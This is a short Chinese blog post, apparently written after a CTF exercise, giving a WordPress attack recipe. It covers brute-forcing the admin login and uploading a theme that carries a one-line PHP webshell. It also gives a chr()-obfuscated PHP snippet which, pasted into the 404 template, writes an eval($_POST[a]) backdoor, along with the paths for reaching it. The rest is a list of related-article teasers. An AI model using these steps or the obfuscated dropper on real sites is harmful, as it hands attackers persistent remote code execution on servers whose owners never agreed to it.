Worldpress常规利用思路

文章目录

0x01 弱口令利用链
0x02 插件漏洞利用

worldpress是一款主流的博客系统，但是关于它的漏洞也层出不穷。
这次是因为一次CTF靶场遇到此类情况，顺便做个简单记录。

worldpress系统本身比较安全，但是因为它可以自定义插件，很多时候因为插件作者安全开发的能力有高有低，导致许多安全漏洞的出现。

0x01 弱口令利用链

后台默认地址为：xxxx/wp-admin/

没有验证码可以暴力破解，常见用户名admin,worldpress,system等。

进入后台后的利用：

1 上传主题包getshell

本机建立目录“upkn”,把一句话1.php放进去。打包upkn目录为zip文件。WP后台的主题管理，上传主题，安装。则你的后门路径为：
wp-content/themes/upkn/1.php。

2 修改主题文件

“外观”-“编辑”-“404模板
<script language="php">fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62));</script>
插到文件头
点404模板的时候地址栏有相对路径，默认是wp-content/themes/twentyten/404.php
更新完直接访问localhost/wp-content/themes/twentyten/404.php就会在twentyten目录生成一句话后门a.php 密码a

0x02 插件漏洞利用

插件漏洞类型很多，例如xss,sql注入，rce等。

推荐工具方便自查：https://github.com/wpscanteam/wpscan

Worldpress常规利用思路相关推荐

阅读理解常规解题思路
阅读理解常规解题思路: 首先第一步,通用引擎首先会通过问题分析获取到文本相关的内容,然后根据问句中各个词离"()"的距离计算出问句中每个关键词的重要性,得到关键词表. 第二步,是提 ...
java 反序列化漏洞利用思路简介
目录序列化的过程 readObject方法反射链完成反序列漏洞实践结论之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后 ...
CTF(Pwn) Rop + ret2libc 题型常规解法思路 (初级)
参考例题 https://blog.csdn.net/weixin_45556441/article/details/115091036 引子随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码 ...
fopen打开ftp文件_PHP文件包含漏洞利用思路与Bypass总结手册（一）
作者:Qftm 合天智汇前言这个手册主要是记录针对PHP文件包含漏洞的利用思路与Bypass手法的总结. 相关函数四个函数 php中引发文件包含漏洞的通常主要是以下四个函数: 1.include ...
PHP文件包含漏洞利用思路与Bypass总结手册（一）
本文作者:Qftm 目录前言相关函数四个函数函数功能函数差异漏洞原因漏洞分类包含姿势 php伪协议 php://filter file:// php://input file_get_ ...
WMI（windows management instrumentation）利用思路简介
WMI利用思路简介概述 windosw管理工具,windows98以后的操作系统都支持WMI, 用于提供共同的界面和对象模式以便访问有关操作系统.设备.应用程序和服务的管理信息.如果此服务被终止,多 ...
从DesperateCat学到的Tomcat下的新利用思路
文章目录题目环境分析两个重要的Trick 探索开始如何利用org.apache.jasper.compiler.StringInterpreter 加载恶意类到JVM 梳理利用思路结果题目 ...
LeetCode 678 有效的括号字符串，常规栈思路
题:给定一个只包含三种字符的字符串:( ,) 和 *,写一个函数来检验这个字符串是否为有效字符串.有效字符串具有如下规则: 任何左括号 ( 必须有相应的右括号 ). 任何右括号 ) 必须有相应的左括号 ...
php反序列化漏洞中当不存在__invoke时的一种利用思路
存在这样两个类,找不到可以利用的__invoke时,如何获得shell class a{public $code;public function __destruct(){$test=$this-&g ...
php伪协议读取目录,PHP文件包含，文件读取的利用思路，以及配合伪协议的trick...
PHP的文件包含函数有两类,分三种:1 2file_get_contents() include()/include_once() require/require_once() 第一种用于获取文件的数 ...

Worldpress常规利用思路

文章目录

0x01 弱口令利用链

0x02 插件漏洞利用

Worldpress常规利用思路相关推荐

最新文章

热门文章